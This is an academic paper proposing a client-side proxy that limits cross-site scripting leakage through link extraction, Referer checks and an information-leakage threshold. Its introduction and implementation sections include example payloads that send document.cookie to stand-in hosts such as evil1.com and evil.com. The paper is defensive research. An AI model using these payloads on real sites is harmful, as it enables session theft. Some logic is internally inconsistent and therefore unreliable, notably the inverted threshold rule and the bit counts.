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Abstract— Cross Site Scripting (XSS) Flaws are 
currently the most popular security problems in 
modern web applications. These Flaws make use of 
vulnerabilities in the code of web-applications, 
resulting in serious consequences, such as theft of 
cookies, passwords and other personal 
credentials.Cross-Site scripting Flaws occur when 
accessing information in intermediate trusted sites. 
Client side solution acts as a web proxy to mitigate 
Cross Site Scripting Flaws which manually generated 
rules to mitigate Cross Site Scripting attempts. Client 
side solution effectively protects against information 
leakage from the user’s environment. Cross Site 
Scripting Flaws are easy to execute, but difficult to 
detect and prevent. This paper provides client-side 
solution to mitigate cross-site scripting Flaws. The 
existing client-side solutions degrade the performance 
of client’s system resulting in a poor web surfing 
experience. In this project provides a client side 
solution that uses a step by step approach to protect 
cross site scripting, without degrading much the 
user’s web browsing experience. 
Keywords-Web Application; Cross Site Scriptin; 
Client Side Solution;  Detection of XSS Attacks 
I. INTRODUCTION 
The rapid growth of Internet resulted in feature rich, 
dynamic web applications. This increase resulted in the 
harmful impact of security flaws in such applications. 
Vulnerabilities leading to compromise of sensitive 
information are being reported continuously, resulting in 
ever increasing financial damages.  
Cross site scripting (XSS), is the most widespread 
and harmful web application security issue. It was first 
noticed, when CERT (Computer Emergency Response 
Team) published an advisory on newly identified 
security vulnerability affecting all web applications.  
This flaw occur whenever a web application takes data 
that originated from a user and sends it to a web browser 
without first validating or encoding that content. XSS is 
used to allow attackers to execute script in the victim’s 
browser, which can hijack user sessions, deface web 
sites, insert hostile content, and conduct phishing attacks. 
Any scripting language supported by the victim’s 
browser can also be a potential target for this attack. For 
example, In the case of a user who accesses the popular 
www.chennaionline.com web site to perform sensitive 
operation. The web-based application on 
chennaionline.com uses a cookie is used to store sensitive 
session information in the user’s browser. The users are 
also browsing a malicious web site, say evil1.com, and 
could be clicking on the following link: 
 
<a href="http://chennaionline.com/ 
<Script> 
document.location=‘http://evil1.com/steal-
cookie.php?’;+document.cookie 
</script>">Click here to collect Question. </a> 
The user clicks on the link then HTTP request is sent 
by the user browser to the chennaionline.com web server 
to requesting the following page 
 
<script> 
document.location=‘http://evil.com/steal-cookie.php?; 
+document.cookie 
</script> 
 
The chennaionline.com web server receives the 
HTTP request and checks if it has the resource which is 
being requested. When the chennaionline.com host did 
not find the requested page then it will return an error 
message to the browser. The web server also decides to 
include the requested file in the return message to 
specify which file was not found. If this is the case, the 
file name will be sent from the chennaionline.com web 
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 server to the browser and will be executed in the context 
of the chennaionline.com origin. When the script is 
executed, then the cookie set by chennaionline.com will 
be sent to the malicious web site to the invocation of the 
steal-cookie.php server-side script. The cookie 
information saved and can later be used by the owner of 
the evil.com site to impersonate the unsuspecting user 
with respect to chennaionline.com. 
Categories of XSS Attacks 
There are currently three major categories of Cross-
Site Scripting flaws.  
1. Non-Persistent XSS attacks 
It is the most familiar type of Cross-Site 
Scripting exploit. It targets vulnerabilities that occur in 
some websites which deals with dynamic result 
generation. An attack is successful if it can send code 
to the server that is included in the Web page results 
sent back to the browser, and when those results are 
sent the code is not encoded using HTML special 
character encoding, thus being interpreted by the 
browser rather than being displayed as inert visible 
text.  
The attack can be done by using a link using 
a malformed URL, such that a variable passed in a 
URL to be displayed on the page contains malicious 
code. Another Uniform Resource Locator (URL) 
used by the server-side code to produce links on the 
page, can also become a vulnerability employed in a 
reflected Cross-Site Scripting flaws. 
 
2. Persistent XSS attacks 
Persistent or Stored Cross-Site Scripting flaws 
are those where some data sent to the server is stored 
to be used in the creation of pages that will be served 
to other users later. This type of Cross-Site Scripting 
flaws can affect any user to our website, if our site is 
subject to Persistent Cross-Site Scripting vulnerability. 
One of the familiar examples of persistent or stored 
vulnerability is content management software such as 
forums and bulletin boards where users are allowed to 
use raw HTML and XHTML to format their posts. 
Preventing reflected flaws, the key to securing our web 
site against stored flaws is ensuring that all submitted 
data is translated to display entities before display so 
that it will not be interpreted by the browser as code.  
3. Local XSS attacks 
A local or Document Object Model Cross-Site 
Scripting flaws targets vulnerabilities within the code 
of a web page itself. These types of vulnerabilities are 
the result of incautious use of the Document Object 
Model in JavaScript so that opening another web page 
with malicious JavaScript code in it at the same time 
might actually alter the code in the first page on the 
local system.  
Vulnerabilities Associated With XSS for Web 
Applications 
Cross-Site Scripting poses several application 
Vulnerabilities that include, but are not limited to, the 
following: 
1. Users unknowingly execute malicious scripts 
when viewing dynamically generated pages 
based on content provided by an attacker. 
2. Attacker takes over the user session before the 
user’s session cookie expires. 
3. Attacker makes the users to connect to a 
malicious server to his/ her choice. 
4. An attacker convinces a user to access a URL 
supplied, which could cause script or HTML of 
the attacker's choice to be executed in the user’s 
browser. Using this technique, attacker takes 
actions with the privileges of the user who 
accessed the URL, such as issuing queries on the 
under lying SQL databases and viewing the 
results and to exploit the known faulty 
implementations on the target system. 
5. Secure Socket Layer Encrypted connections may 
be exposed: The malicious script tags are 
introduced before encrypted connection is 
established between the client and the legitimate 
server. Secure Socket Layer encrypts data sent 
over the connection, including the malicious 
code, which is passed in both directions which 
assures that the client and server are 
communicating without snooping, SSL does not 
attempt to validate the legitimacy of data 
transmitted. Because there is a legitimate dialog 
between the client and the server, SSL reports no 
problems. The malicious code attempts to 
connect to a non-SSL URL that may generate 
warning messages about the insecure 
connection, but the attacker can circumvent this 
warning simply by running an SSL-capable web 
server. 
6. For making the attacks to be persistent through 
the poisoned Cookies, the code from authentic 
web sites once found to have malicious code 
cookies will be modified.  For the dynamic 
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 generation of pages if any field from the cookie 
is used by the vulnerable website then the 
attacker can include the malicious code in 
specific cookie by modifying it.  
7. An attacker is able to execute script code on the 
client machine that exposes data from a 
vulnerable server inside the client's intranet by 
constructing a malicious URL. If the 
compromised client has cached authentication 
for the targeted server, the attacker may gain 
unauthorized web access to an intranet web 
server.   
8. Instead of acting as any particular system an 
attacker only needs to identify a vulnerable 
intranet server and convince the user to visit an 
innocent looking page to expose potentially 
sensitive data on the intranet server. 
9. Even if user’s browser is restricting execution of 
scripting languages from some hosts or domains, 
attackers are able to violate this policy. This can 
be done by including malicious script tags in a 
request sent to a server that is allowed to execute 
scripts. 
10. If there is no character set is specified in the 
page returned by the web server, browsers 
interpret the information they receive according 
to the character set chosen by the end user.  
11. Some web sites fail to specify the character set 
which will lead to choosing alternate character 
set by the user at risk. 
12. The behavior of forms can also be modified by 
the attackers under certain conditions. 
II. RELATED WORK 
Scott and Sharp [4] describe a web proxy that is 
located between the users and the web application, and 
that makes sure that a web application adheres to pre 
written security policies. The main categories of such 
policy based approaches are that the creation and 
management of security policies is a tedious and error-
prone task. Similar to [4], there exists a commercial 
product called AppShield, which is a web application 
firewall proxy that apparently does not need security 
policies. Furthermore,[4] reports that AppShield is a 
plug and play application that can only do simple checks 
and thus, can only provide limited protection because of 
the lack of any security policies. 
The main difference of our approach with respect to 
existing solutions [1] is that it is a client-side solution. 
The solutions presented server-side that aim to protect 
specific web applications. Huang [11] describe the use of 
a number of software-testing techniques and suggest 
mechanisms for applying these techniques to web 
applications. The main aim is to cover and fix web 
vulnerabilities such as XSS. The researches Engin Kirda 
et al [8] and O.Ismail et al [9] provided a client side 
solution that fully relies on the user’s configuration and 
number of researches have proven that client side 
solution is not reliable.  
If a new vulnerability is introduced, the new fix 
introduced at a central server to prevent the hacking 
cannot protect the user immediately as it needs an update 
on the client side system. Further according to Krueger 
et al [10], it is not possible to maintain the misuse type 
IDS [11] due to the large dynamic signature in an 
everyday attack scenario. CERT- Center of internet 
security expertise, a federally funded research and 
development center states that none of the client side 
solutions prevent the vulnerabilities completely and it is 
up to the server to eliminate these issues [12]. 
Some solutions proposed on the same lines of 
research [15]. Wes Masri and Andy Podgurski have 
stated [16] that information flow based work will 
increase the false positives and it is not an indicative 
strength if the information flow is high. There are 
validation mechanisms [17] and scanners proposed to 
prevent XSS vulnerabilities [18]. Some software 
engineering approaches are also proposed such as 
WAVES for security assessment. However none of the 
solutions are not built for the latest developments and 
would fail if tags are permitted in the web applications. 
Jayamsakthi et al. [18] provided solutions based on 
financial and non financial applications but this does not 
cater for the XSS attacks emerge from various interfaces. 
Server-side Cross-Site Scripting [19] Detection 
System is based on passive HTTP traffic monitoring and 
relies upon the strong correlation between incoming 
parameter and reflected XSS parameter issues.  The set 
of all legitimate JavaScript’s in a given web application 
is bounded. This forms the basis for two novel detection 
approaches to identify successfully carried out reflected 
XSS attacks and to discover stored XSS code on the 
server side. 
Static analysis techniques analyze program code 
including source code, byte code, or binary code to learn 
how the control or data would flow at runtime without 
running the code. Due to the complexity and technical 
limitations, some static analysis techniques cannot detect 
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 the existence of input validation routines and result false 
positives.  
Pixy [21] performs tainted data flow analysis 
using flow-sensitive, inter procedural, context-sensitive 
data flow analysis and checks if user input is used at a 
target statement without any input validation. Web Static 
Approximation [22] uses a static string analysis 
technique to approximate possible string output for 
variables in a web application and checks if the 
approximated string output is disjoint with unsafe strings 
defined in a specification file. If the approximate string 
output is disjoint with the unsafe strings, Web Static 
Approximation reports that the application is not 
vulnerable.  
Detection techniques’ accuracy can be measured 
by false positive rate and false negative rate. Generates a 
alarm for vulnerability detection when a false positive 
occurs in a system. The technique does not detect the 
type of vulnerabilities that the technique was supposed to 
detect a false negative. False positive rate is the 
percentage of false positives among total alerts. Among 
the total vulnerabilities, false negative rate is the 
percentage of false negatives. It is difficult to be measure 
the identification of all vulnerabilities as it is impossible 
to evolve attack patterns and because the change in the 
environment of software operation can create new 
vulnerabilities. 
David Scott [23] suggested security policies for 
defining input validation which provides immediate 
assurance of web application security; it requires the 
correct identification and validation policy for each 
individual entry point to a web application. Bobbitt also 
observes that this is a difficult security task that requires 
careful configuration by “highly technical, experienced 
individuals”. Another problem with this approach is the 
response time from the server. When the number of hits 
increases, the dynamic generation of web pages will 
down the server performance.  Literature on Cross Site 
Scripting vulnerabilities shows that work in this 
direction was started around 2000. The solutions that 
include static analysis, taint analysis, reverse 
engineering, black box testing, proxy server, multimodal 
approach and anomaly detection are inherent and 
specific to each milieu. 
The web applications that are developed in 
different languages like ASP, JSP, PHP, .Net etc for 
different requirements aims to increase the customer 
base. Hence the study revealed that the solution should 
aim to provide independent services with defined 
interfaces that can be called to perform their tasks in a 
standard way, without the service having fore knowledge 
of the calling application, and without the application 
having or needing knowledge of how the service actually 
performs its tasks.  
Also it is possible to consider the fact that the 
web applications are built for various purposes. For 
instance we have researchers web application, social 
networking web application, e-mail application, e-
commerce application etc. Each web application is built 
with different requirements for performance, security 
mechanisms, internationalization and scalability to serve 
its customers. 
We focus in this project on the specific case of 
Cross-Site Scripting attacks against the security of web 
applications in browser side. This attack relays on the 
injection of a malicious code into a web application, in 
order to compromise the trust relationship between a 
user and the web application’s site. If the vulnerability is 
successfully exploited, the malicious user who injected 
the code may then bypass, for instance, those controls 
that guarantee the privacy of its users, or even the 
integrity of the application itself. 
Our contribution of this paper on the specific case of 
Cross-Site Scripting attacks against the security of web 
applications in browser side. This attack relays on the 
injection of a malicious code into a web application, in 
order to compromise the trust relationship between a 
user and the web application’s site. If the vulnerability is 
successfully exploited, the malicious user who injected 
the code may then bypass, for instance, those controls 
that guarantee the privacy of its users, or even the 
integrity of the application itself. 
In this paper, we present Client side solution, a 
personal web firewall that helps mitigate Cross Site 
Scripting attacks. The main contribution of this project is 
that it is the client-side solution that provides Cross Site 
Scripting protection effectively without relying on web 
application providers.  
Client side solution supports a Cross Site Scripting 
mitigation mode that significantly reduces the number of 
connection alert prompts while, at the same time, it 
provides protection against Cross Site Scripting attacks 
where the attackers may target sensitive information 
such as cookies and session IDs. We propose a 
mechanism that limits the amount of information that 
can be stolen by any single Cross Site Scripting attack. 
III. PROPOSED SCHEME 
This proposed architecture describes each module in 
detail and derives test plan for the project entitled 
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 “Protection of Web Applications from Cross-Site 
Scripting Attacks in Browser Side”. In this proposed 
Architecture (see Figure 2) present Client Side Solution 
to mitigate Cross Site Scripting attacks. The main 
purpose of client side solution is that it is effectively 
reduces Cross Site Scripting attacks. The Client-Side 
Solution that provides Cross Site Scripting protection 
without relying on web application providers. 
The Client-Side Solution capability to analyze all 
web pages for embedded links. That is, every time 
Client-Side Solution fetches a web page on behalf of the 
user, it analyzes the page and extracts all external links 
embedded in that page. Because each link can be 
followed without receiving a connection alert; the impact 
of Client-Side Solution on the user is significantly 
reduced. Static links that are extracted from the web 
page include HTML elements with the href and src 
attributes and the url identifier in Cascading Style Sheet 
(CSS) files. 
 
 
Figure 2:  Architecture for Cross-Site Scripting in Browser side 
IV. IMPLEMENTATION AND DISCUSSION 
1. Detecting and Preventing XSS Attacks 
An important concept is that all links that are 
statically embedded in a web page can be considered 
safe with respect to Cross Site Scripting attacks. The 
attacker does not directly use static links to encode 
sensitive user data. The reason is that all statically 
embedded links are composed by the server before any 
malicious code at the client can be executed. A Cross 
Site Scripting attack, on the other side, can only succeed 
after the page has been completely retrieved by the 
browser and the script interpreter is invoked to execute 
malicious code on that page. All local links can 
implicitly be considered safe as well, after all, cannot use 
a local link to transfer sensitive information to another 
domain external links have to be used to leak 
information to other domains. 
Based on these concepts, we extended our system 
with the capability to analyze all web pages for 
embedded links. That is, every time client side solution 
fetches a web page on behalf of the user, it analyzes the 
page and extracts all external links embedded in that 
page. When client side solution receives a request to 
fetch a page; it goes through several steps to decide if the 
request should be allowed. We have used a technique to 
determine if a request for a resource is a local link. It is 
achieved by checking the Referrer HTTP header and 
comparing the domain in the header to the domain of the 
requested web page. All the domain value is determined 
by splitting and parsing URLs. 
For example, the hosts client1.chennaionline.com and 
www.chennaionline.com will both be identified by client 
side solution as being in the domain 
chennaionline.com.The domain links are found to be 
identical, the request is allowed. If a request being 
fetched is not in the local domain, client side solution 
then checks to see if there is a temporary filter rule for 
the request. If there is a temporary rule, the request is 
allowed. If not, client side solution checks its list of 
permanent rules to find a matching rule.  
The contribution of our dynamically enhanced XSS 
protection mechanism, we analyzed the web pages 
recursively. We implemented a client side solution in 
Java and extracted information about some visited web 
pages. Analyzing the web page, we were able to 
determine how many static links each visited web page 
contained, how many of these links were pointing to 
external domains, how many external links were actually 
requested by the user browse. We used a Java utility 
called Html Parser to extract the static hyperlinks in the 
page by looking at HTML elements. 
This section describes each of the six modules in 
detail by specifying its input and output with detailed 
description. 
2. Proxy 
A proxy that act as an intermediary for request from 
client seeking resources to servers. The main aim is 
client connects to the proxy server and also requesting 
some web services, such as a file, connection, web page, 
or other resources available from a different server. 
A proxy has many potential purposes, including: 
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 1. To keep machines behind it anonymous  
2. To speed up access to resources. 
3. To apply access policy to network services or 
content, e.g. to block undesired sites.  
4. To log / audit usage, i.e. to provide company 
employee Internet usage reporting.  
5. To bypass security/ parental controls.  
A proxy is used to passes requests and replies 
unmodified are usually called a gateway or sometimes 
tunneling proxy. A proxy can be placed in the user's 
local computer or at various points between the user and 
the destination servers on the Internet. A reverse proxy is 
a Internet-facing proxy used as a front-end to control and 
protect access to a server on a private network, 
commonly also performing tasks such as load-balancing, 
authentication, decryption or caching. 
3. Controlling Script Injector 
Controlling Script Injector is used to eliminate the 
pop up window, parent window and java script based 
attacks from the web page. It has injected some set of 
script code to the web page source code, after the head 
tag. To mitigate pop-up window and frame based 
attacks, it injected controlling java script code in the 
beginning of all web pages that it fetches. The client side 
solution automatically inserts java script code that is 
executed on the user’s browser. Then the Java script 
checks if the page that is displayed is a pop-up window. 
Finally we can get without pop-up window or frame 
based attacks information free page.   
4. Html Parser and Link Extractor 
 Html Parser and Link Extractor(HPLE) is used 
to analysis and parses the web pages recursively, then it 
extract all the hrefs and srcs from the main web pages 
and also,it parses the frames recursively in this web page 
itself then extract frames hrefs, srcs elements. It is used 
to check the directory of the domain from the web pages 
links. Extracts all the external links embedded in the 
page and stored it in to the temporary vector. Static links 
that are extracted from the web page include HTML 
elements with href, src. 
5. Domain checker with referrer header 
Domain Checker with referrer Header (DCRH) is 
used to check the extracted domain links with referrer 
header. An attacker is not possible to modify the 
Referrer header; another issue is under which conditions 
the Referrer header is present in a request. Based on the 
HTTP specification, this header is optional. Anyhow, all 
browsers such as the Internet Explorer, Opera, and 
Mozilla make use of it.  It re-enables the transmission of 
the referrer header in the browser and, as a result, would 
possess the information that is necessary for the user 
against Cross Site Scripting attacks. Finally it compare 
the domain links with the referrer header then, the same 
domain links are send to the server. If the domain links 
are not matching with the referrer header then, it sends to 
the information leakage evaluator. 
6. Information leakage evaluator 
 Information leakage evaluator (ILE) is used to 
evaluate the other domains links from the domain 
checker. To eliminate protection against multi-domain 
attacks, all we have to do the combinatorial formula: 
 
Where, I = Total amount of information leaked to 
these external domain, 
 n = total number of external links in a page,  
 r =  Number of out of domain links.   
The following table lists the information that can be 
transmitted using a base alphabet consisting of eight 
elements 
TABLE 1.INFORMATION LEAKAGE VALUE 
Information that can be transmitted by issuing ‘r’ 
requests based on an alphabet with eight symbols(n=8)  
Request(r)  
(other 
domain) 
Information 
(distinct values) 
Information 
(bits, rounded) 
1 8 3 
2 56 5 
3 336 8 
4 1680 10 
5 6720 12 
6 20160 14 
7 40320 15 
8 40320 15 
 
7. Threshold monitor 
Threshold Monitor (TM) is used to compare the 
information leakage counts (ILC) in bits with the 
threshold values (TV).We have to set the threshold 
values as maximum 50 bits, and then compare the 
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 information leakage in bits. If the information leakage 
values are greater than the threshold values then, it sends 
the HTTP request to the server for accessing the 
information. An information leakage counts values are 
less than the threshold values, than the HTTP request is 
deny to accessing the server information. 
8. Multi-Domain Attacks 
The mitigation of cross site scripting technique 
presented in the previous section is also able to prevent 
multi-domain attacks. We have considered that the 
attacker possesses only one domain that she can use as 
destination for stealing information. An attacker could as 
well obtain multiple different domains. To evaluate 
protection against multi-domain attacks, all we have to 
do is to the Equation 1 as shows above. Where, n 
indicates the total number of statically embedded 
external links in a page, r is the number of other domain 
links to any of these links, and ‘I’ is the total amount of 
information that can be leaked to these external domains. 
Thus, the given example (from Figure 3) is treated 
analogously to the explanations from the previous 
section: By consulting Table 1 we see that the user is not 
allowed to issue more than four requests to any external 
domain if the total information leakage must not exceed 
eleven bits. 
1 <img src = http://evil1.com/a.jpg>    
2 <img src = http://evil2.com/e.jpg> 
3 <img src = http://evil3.com/b.jpg>    
4 <img src = http://evil4.com/f.jpg> 
5 <img src = http://evil5.com/c.jpg>     
6 <img src = http://evil6.com/g.jpg> 
7 <img src = http://evil7.com/d.jpg>    
8 <img src = http://evil8.com/h.jpg> 
Figure 3: Links for a Multi Domain Attacks 
9. Java Script-Based Attacks 
Java Script-Based Attacks is another way in which an 
attacker could try to circumvent client side solution 
defense mechanisms is to make use of pop-up windows. 
Figure 4 shows the JavaScript code that an attacker 
could inject into a vulnerable application in order to steal 
cookie data. To prevent client side solution from 
generating a warning when steal1.php is loaded then the 
attacker simply has to inject an appropriate static link 
along with the script shown in Figure 4. The second 
parameter has the effect that the built-in JavaScript name 
variable of the pop-up window receives the contents of 
the user’s cookies.  
The attacker has already got succeeded in transferring 
sensitive cookie data from the original domain to her 
own domain. Inside the pop-up window, client side 
solution would allow the attacker to establish any 
connection to her own domain because all links in the 
pop-up window would be from the attacker’s domain 
and would be treated as being local. The transferring of 
values to pop-up windows is not limited to the name 
variable. With assignments such as the one shown on 
line 2 in Figure 4, an attacker can create arbitrary 
JavaScript variables for the pop-up window. 
  p= (“http://www.evil.com/steal.php” .document. Cookie); 
   p.abc = “arbitrary”; 
 Figure 4: Injected java script for stealing cookies 
through pop-up windows 
The following java script code used prevents the 
stealing cookies information through pop-up windows 
and also frame based attacks in a web page. Controlling 
java script injector code is shown in figure 5. 
String InjectionScript = "<SCRIPT type=\"text/javascript\"> 
targetPage = \"\" + window.location.search;     
 if (targetPage != \"\" && targetPage != \"undefined\")         
 targetPage = targetPage.substring(1);   
  if (targetPage.indexOf(\":\") != -1)        
  targetPage = \"undefined\";     
 function loadFrames()  
{    
 if (targetPage != \"\" && targetPage != \"undefined\")  
 top.classFrame.location  = top.targetPage;     
 }  
</SCRIPT> ";   
 
Figure 5: Injected java script for preventing pop-up window 
based attacks 
V. CONCLUSION 
Cross Site Scripting vulnerabilities are being 
discovered and disclosed at an alarming rate. Cross Site 
Scripting attacks are generally simple, but difficult to 
prevent because of the high flexibility that HTML 
encoding schemes provide to the attacker for 
circumventing server-side input filters. Several 
approaches have been proposed to mitigate Cross Site 
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 Scripting attacks. The main advantage of these solutions 
is that they rely on service providers to be aware of the 
Cross Site Scripting problem and to take the appropriate 
actions to mitigate the threat.  
In this paper, we present Client Side Solution to 
mitigate Cross Site Scripting attacks. The main 
contribution of client side solution is that it is effectively 
reduces Cross Site Scripting attacks. The Client-Side 
Solution that provides Cross Site Scripting protection 
without relying on web application providers. Client 
Side Solution supports a Cross Site Scripting  mitigation 
mode that significantly reduces the number of 
connection alert prompts while, at the same time, it 
provides protection against Cross Site Scripting  attacks 
where the attackers may target sensitive information 
such as cookies and session IDs. It acts as a web proxy 
to protect Cross Site Scripting attacks in the browser 
side. 
REFERENCES 
 [1] Engin Kirda, Nenad Jovanovic, Christopher Kruegel and Giovanni 
Vigna,”Client-Side Cross-Site Scripting Protection,” Science Direct 
Trans.computer and security ,pp.184-197,2009. 
[2] Billy Hoffman , Bryan Sullivan, “Ajax Security,” Chapter – 4, Ajax attack 
surface, Addison-Wesley, Boston, MA, December 2007. 
 
[3] Noriko Hanakawa, Nao Ikemiya, “A New Web Browser Including A 
Transferable Function to Ajax Codes”, in Proceedings of 21st IEEE/ACM 
International Conference on Automated Software Engineering (ASE '06), 
Tokyo, Japan, pp. 351-352, September 2006. 
 
[4] D. Scott and R. Sharp,” Abstracting Application-Level Web Security,” In 
Proceedings of the 11th International World Wide Web Conference 
(WWW 2002), May 2002 
 
[5] Matthew Eernisse, “Build Your Own AJAX Web Applications”, Chapter 
1: AJAX: the Overview, SitePoint publication, Australia, June 2006. 
 
[6] Acunetix Ltd, “Web Applications: What are they? What of them?”, 
http://acunetix.com/websitesecurity/web-applications.htm. 
 
[7]Inc Sanctum,” AppShield white paper,” <http://sanctuminc.com>;2005. 
 
[8] Engin Kirda, Christopher Kruegel, Giovanni Vigna, and Nenad 
JovanovicNoxes, “A Client Side Solution for Mitigating Cross-Site 
Scripting Attacks”, In Proceedings of the 2006 ACM Symposium On 
Applied Computing (SAC’06), Dijon, France, pp. 330-337, April 2006. 
 
[9] O. Ismaill, M.E. Youki, K. Adobayashi, S. Yamaguch, “A Proposal and 
Implementation of Automatic Detection/Collection System for Cross-Site 
Scripting Vulnerability”, In Proceedings of the 18th International 
Conference On Advanced Information Networking And Application 
(AINA’04), Fukuoka, Japan, Volume 1, pp.145-151, March 2004. 
[10] Christopher Krugel, G.Vigna, William Robertson, “A Multi-Model 
Approach to the Detection of Web Based Attacks”, Computer Networks, 
Volume 48, Issue 5, pp. 717-738, August 2005. 
[11] Joon S. Park, Ravi Sandhu, “Secure Cookies on the Web”, IEEE internet 
computing, Volume 4, pp. 36-44, July/August 2000. 
[12] Yao-Wen Huang, Fang Yu, Christian Hang, Chung-Hung Tsai, Der-Tsai 
Lee, Sy-Yen Kuo, “Securing Web Application Code By Static Analysis 
and Runtime Protection”, In Proceedings of International WWW 
Conference, New York, USA, pp. 40 – 52, May 2004. 
[13]  Zhendong Su, Gary Wassermann, “The Essence of Command Injection 
Attacks In Web Applications”, 33rd ACM Sigplan-Sigact Symposium on 
Principles of Programming Languages, South Carolina, USA, pp. 372 - 
382, January 2006. 
[14] Wes Masri and Andy Podgurski “Using Dynamic Information Flow 
Analysis to Detect Attacks Against Applications”, ACM SIGSOFT 
Software Engineering Notes, Volume 30, Issue 4, pp. 1-7, July 2005. 
[15] N. Jovanovic, C. Kruegel and E. Kirda, “Pixy: A Static Analysis Tool for 
Detecting Web Application Vulnerabilities”, In Proceedings of the 2006 
IEEE Symposium on Security and Privacy(S&P’06), California, U.S.A, 
pp. 27-36, May 2006. 
 
[16] Yao-Wen Huang, Chung-Hung Tsai, D. T. Lee and Sy-Yen Kuo, “Non- 
Detrimental Web Application, Security Scanning”,   In Proceedings of 
15th International Symposium on Software Reliability Engineering 
(ISSRE'04), France, pp. 219-230, November 2004. 
[17] Yao-Wen Huang, Shih-Kun Huang, Tsung-Po Lin and Chung-Hung Tsai, 
“Web Application Security Assessment By Fault Injection and Behavior 
Monitoring”, In Proceedings of the 12th international conference on 
World Wide Web, Budapest, Hungary, pp. 148 – 159, May 2003. 
[18] Jayamsakthi Shanmugam, Dr.M.Ponnavaikko “A Solution to Block Cross 
Site Scripting Vulnerabilities Based on Service Oriented Architecture”,  
In Proceedings of 6th IEEE international conference on computer and 
information science (ICIS 07) published by IEEE Computer Society in 
IEEE Xplore, Australia, pp. 861-866, July 11-13, 2007. 
 [19] Martin Johns, Bjorn Engelmann, and Joachim Posegga, ”XSSDS: 
Server-side Detection of Cross-Site Scripting Attacks,” proc. IEEE 
Computer Security Applications Conference, pp. 335–343, October 2008. 
[20] Y.-W. Huang, F. Yu, C. Hang, C.-H. Tsai, D. Lee, and S.-Y. Kuo,” 
Securing Web Application Code by Static Analysis and Runtime 
Protection,” In Proceedings of the 13th International World Wide Web 
Conference (WWW 2004), May 2004. 
 
[21] N. Jovanovic, C. Kruegel, and E. Kirda, "Pixy: A Static Analysis Tool for 
Detecting Web Application Vulnerabilities," In 2006 IEEE Symposium on 
Security and Privacy, Oakland, CA, U.S.A., pp. 258 – 263,2006. 
 
[22]Y. Minamide, "Static Approximation of Dynamically Generated Web 
Pages," In Proceedings of the 14th International Conference on World 
Wide Web, Chiba, Japan, pp. 432–441, 2005. 
 [23] Scott, D. Sharp, “Abstracting Application-Level   Web Security”, In 
Proceedings of 11th International Conference World Wide Web 
(WWW2002), Honolulu, Hawaii, pp. 396-407, May 2002. 
 
  
K.Selvamani  received the B.E degree in Electrical and Electronics 
Engineering from Annamalai University, Chidambaram and M.E degree in 
Computer Science and Engineering from Bharathiyar University, Coimbatore 
in December 2000. He is currently working as Lecturer in College of 
Engineering ,Guindy,Anna university,Chennai,India. His research work is in 
Web Application Security with emphasis on techniques that can be applied to 
improve the security in Web Applications. 
A.Kannan  received the M.Sc degree in Mathamatics from Annamalai 
University, Chidambaram and M.E degree in Computer Science and 
Engineering from Anna university in 1991 and a Ph.D degree in Computer 
Science and Enginerring from Anna university  in 2000. He is a professor in 
College of Engineering ,Guindy,Anna university,Chennai,India. His research 
interests include in Database Management System, Software Engineering, 
Artificial Intelligence and Web Security. 
 
 
(IJCSIS) International Journal of Computer Science and Information Security, 
Vol. 7, No. 3, March 2010 
236 http://sites.google.com/site/ijcsis/ 
ISSN 1947-5500 
